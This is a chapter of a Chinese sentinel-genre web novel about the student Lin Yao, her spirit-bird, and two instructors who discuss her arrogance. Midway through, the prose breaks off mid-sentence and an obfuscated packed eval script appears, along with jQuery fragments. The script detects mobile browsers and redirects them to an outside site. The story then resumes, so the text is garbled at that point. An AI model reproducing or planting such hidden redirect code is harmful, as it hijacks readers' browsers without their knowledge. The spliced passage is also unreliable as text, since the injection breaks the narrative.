“这个鸟是……你的精神体?!”
精神力水平测试刚结束,潘圆玉好奇地盯着林曜肩膀上的白鸟,想动手逗弄一下又不太敢。虽然只是个E级的精神体,但那鸟趾高气扬地昂着头,看起来神气极了。
林曜伸直手臂,白鸟从她肩头跳到她小臂上,她把手臂递到潘圆玉面前:“可以摸。”
白鸟犀利的眼神瞬间变得不可置信,林曜眯眼警告,白鸟翅膀搭脸,片刻,垂头丧气地接受现实。
潘圆玉毫不客气地戳了戳白鸟头顶的毛,白鸟眼神凶狠,低着头没敢作声。
林曜说:“她叫小白,鹰科,脾气不太好。”
都说精神体性格随主人,林曜的脾气看起来可比这只白鸟好多了。潘圆玉在心里暗暗吐槽,手里把白土松抱起来:“那我要给它起个名字叫大白,大白以后要和小白做好朋友知道吗?”
白土松目光清澈,哈哧哈哧吐舌头。小白本来就不高兴,平白无故又被占了便宜,别提多恼火了,翅膀扑腾了一下,消失在空气里。
三人一道往教室走,上午是理论课时间。
南弋走在林曜旁边,问道:“你刚入学的时候不是还是F级吗?一个月就升到了E级?!”
林曜神色淡然:“这个进度很快吗?”
南弋说:“很快了,一般哨兵大半年才能升一级,你不会是天才吧?”
林曜不置可否。她确实被很多人夸过天才,不过这时候应该谦虚点。
她说:“这身体底子还不错,只要多练,想提升不难。”
边上两人都没意识到她在用一种旁观者的视角评价她现在的身体。
潘圆玉唉了声:“宿舍长你别说了,你难道没看到林曜这段时间有多拼?她不升级谁升级?”
南弋点头赞同,林曜这段时间的训练成效有目共睹,人都比之前看起来挺拔不少。
走着路,潘圆玉故意拿肩膀撞了林曜一下:“以后练体能叫上我呗,我也想变强。”
林曜欣然同意。
上午是楚温教官讲理论课,漫长的两小时,她坐在下边有一搭没一搭地听着。高阔的蓝色天穹下铺了一层浅淡的云气,还不错的天气。
楚温教官在讲台上说:“各位精神力检测的详细数据在我这里,有需要的可以下课找我了解。”
讲台下反响寥寥,这些刚入学一个月的哨兵还不知道精神力对一个哨兵来说意味着什么,楚温留意到坐在靠窗边的黑发少女在走神。
楚温不动声色地走下讲台,嘴里还在说:“每个哨兵都希望自己的精神力等级越高越好,没有人不希望自己是更强的那一个,下面我要提问一个同学,如何具体判断一个哨兵的精神力能力水平。”
楚温走到她桌前,黑发少女还在望着窗外发呆,她敲了敲她的桌子:“林曜,你来回答。”
被点名的黑发少女站起来,一板一眼说:“可以从三个方面来判断,攻击力、防御力和感知力。”
“你觉得其中哪个最重要?”
“攻击力。”
楚温挑眉:“为什么?你解释解释。”
“有人说过,进攻是最好的防守。”
楚温乐了,这孩子又出乎她的意料了。她继续问:“那如果你碰上比你更强的敌人呢?”
“碰不上不就好了,”她耸耸肩,一脸不在乎的表情,“只要比所有人都强。”
简直狂妄!
楚温没意识到自己的注意力现在完全在这位黑发少女身上,她似乎有一种魔力,她能攫取住所有人的视线焦点。
楚温说:“你这话,连早年的冬鹞上将都不敢说。”
林曜低头一笑:“我猜现在的她是敢的。”
因为她做到过,她不再怀疑。
楚温两手背在身后,右手握住左手手腕转了转,她思考着,目光忽然变得犀利:“作为教官,我再问你最后一个问题,你觉得强大意味着什么?”
“绝对的强大意味着绝对的自由。”少女语气平静。
楚温的眉挑了又挑,最后露出一个稍显无奈的表情:“你这有点危险啊。”接着补充,“你可以把这句当夸奖,请坐吧,林曜同学。”
上课继续。
一上午的理论课结束,楚温回到办公室左思右想心里不踏实,中午饭都没吃,到学校系统里把这个叫林曜的学生的档案又调了出来。
两个普通人的孩子觉醒成F级哨兵,居然是这么狂妄的性格,要么是无知,要么就是被教得太好了。
楚温盯着电脑屏幕上女孩的入学证件照,女孩在拍照时的神情有些瑟缩,跟今天的样子判若两人。
这时,办公室门开了,季云泽吃饱喝足缓缓归来,在桌子上找牙签剔牙,只觉得后背被人盯得发凉,她回头一看,有人坐在角落里像鬼一样看着她。
“哎哟吓我一跳!楚温你有毛病啊,大中午的拉着办公室窗帘!”季云泽被吓得拍胸口。
楚温阴森道:“你觉得林曜这孩子怎么样?”
“林曜啊,”季云泽终于找到牙签,靠坐在办公桌上剔牙,“实训课挺拼的,特努力一孩子。”
楚温把今天上课这事跟季云泽原模原样说了一遍,说得忧心忡忡,结果季云泽听完哈哈大笑。
“不错嘛,年轻人就是得有点冲劲才像话,我看好她!”季云泽一手捏着牙签,另一只手竖起大拇指。
楚温说:“有冲劲当然是好的,我是怕她这性子狂妄过了头,到时候吃大亏。”
“年轻的时候哪有不吃亏的,老楚你怕不是真上年纪了,”季云泽走过去,一胳膊搭上楚温肩膀,“再说了,人家这年纪不狂妄,难不成等到了岁数跟你一样?”
楚温一巴掌打掉季云泽碍事的胳膊,虚空中,一只英武的德牧现出身形来,正朝季云泽呲牙。
季云泽半点不带怕的,她跟楚温多少年的老同学了,都知根知底的,楚温这人啊,也就跟她呲呲牙得了。
她把手里牙签投进垃圾桶,朝那只大黑德牧招了招手,德牧慢吞吞满是不情愿地走过来,她逮住那狗脖子一顿揉,没两分钟,德牧尾巴就跟螺旋桨一样摇了起来。
蹲在楚温身前,季云泽一手搂着狗脖子拍了拍楚温膝盖:“你就别想那么多了。”
楚温苦笑:“你说我们当年要是都进了中央兵团,还会是今天这样么?”
季云泽突然不说话了,摸着狗头沉默了一会儿,抬头反问:“现在不好吗?我倒是觉得现在挺好的,我很知足,你也不是没看到进了中央兵团那些同学,还有几个能像咱们现在一样拌嘴的。”
楚温没说话。有的事,怎么选都后悔。
过了半晌,季云泽回过味来,质疑道:“我说楚温楚教官,你不会是在嫉妒你的学生吧?你嫉妒人家年轻有冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716336|189329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
劲,你自惭形秽了。”
楚温敲了她一记头锤:“瞎说什么呢。”站起来拉开窗帘,不大的办公室瞬间明亮了。
季云泽盘腿坐在地上,上身趴在狗背上笑:“有些鸟注定会飞得很高,咱们就等着看吧。”
楚温站在窗边,望着窗外不语,在这瞬间,那只白尾鹞的矫健身影不约而同地从两人眼前一闪而过。
时间到了一个月后,这天的实训课在室内馆上。
一行三人刚进门就看见场馆门边摆着好几排鞋,季云泽教官在旁边叮嘱:“今天上课的内容不需要穿鞋,大家都把鞋脱了,轻轻松松地进来,找个位置坐下,不用担心啊,地板都拖过了。”
潘圆玉吐了吐舌头:“还好今天没穿那双破洞袜子。”
三个人脱了鞋,露出同款五彩五指袜,五个脚趾头的颜色还是不一样的。不用说了,都是潘圆玉的大手笔,她说哨兵学校的生活太无聊了,得给自己找点乐子。她找到的乐子就是在学校发的制服下面藏些自己的小心思。
袜子都是她放假逛批发市场买的,一买买一打,实训课强度日益加大,确实费袜子,她大手一挥,给宿舍一人发了几双。
穿上这双袜子之前,林曜万万没有想到今天上课要脱鞋,看着脚上色彩缤纷的五指袜,她忽然想翘课了。
这会显得她很幼稚欸。
没等她在这边欣赏完,潘圆玉把人拉了进去:“今天上课的内容肯定有意思,我们去找个靠中间的位置。”
于是乎,三个穿着五彩五指袜的哨兵坐到了前排正中间。
选定地方之后,南弋有点儿坐立难安,小声说:“这个位置是不是太靠前了?”
林曜表示认同:“我也觉得。”
“坐这里听得清楚,上次说今天要练精神图景,我可想学了!”潘圆玉难得这么积极。
南弋和林曜对视一叹。
有人击掌两声,示意众人集中注意力。季云泽教官走到场馆正前面,她今天也脱了鞋,连袜子都没穿,露出了她涂着紫色指甲油的脚趾,底下哨兵大惊小怪一顿乱叫。
季云泽压了压气氛:“行了行了,谁再叫我就把你们脚趾也都涂上。”
底下的哨兵叫得更起劲了。
季云泽眼一眯,半空中飞出一个紫色的大扑棱蛾子。紫蝶凌空翩飞过众人头顶,绕着那名还在起哄的哨兵飞了两圈,那哨兵突然发现自己嗓子哑了,握着自己喉咙像卡脖子的鸭子一样叫了两声。
“小惩一下,谁再起哄就让谁下一个来尝尝帝王蝶迷粉的滋味。”季云泽笑得很危险。
众人瞬间噤声。
潘圆玉不怕死,偏过头跟南弋咬耳朵:“那就是A级哨兵的精神体?看起来也没什么攻击力嘛。”
南弋小心翼翼地观察季云泽的动向,见她走到后面训人才回答:“那可是帝王蝶,你看见她翅膀上像眼睛一样的白色花纹了吗?不光能撒迷粉,还能制造幻觉,小心连怎么死的都不知道。”
林曜盘腿坐在边上打了个哈欠,懒懒开口:“没事别惹她。”
她以前跟类似的精神体交过手,那大蛾子攻击性不强,但侮辱性极强,最擅长做的事是用迷粉扰乱人的心智,让人产生幻觉,自己打自己,烦人得很。
紫色帝王蝶在半空优雅飞舞,全场噤若寒蝉,季云泽笑眯眯的:“这才乖嘛,好了,我们开始上课。”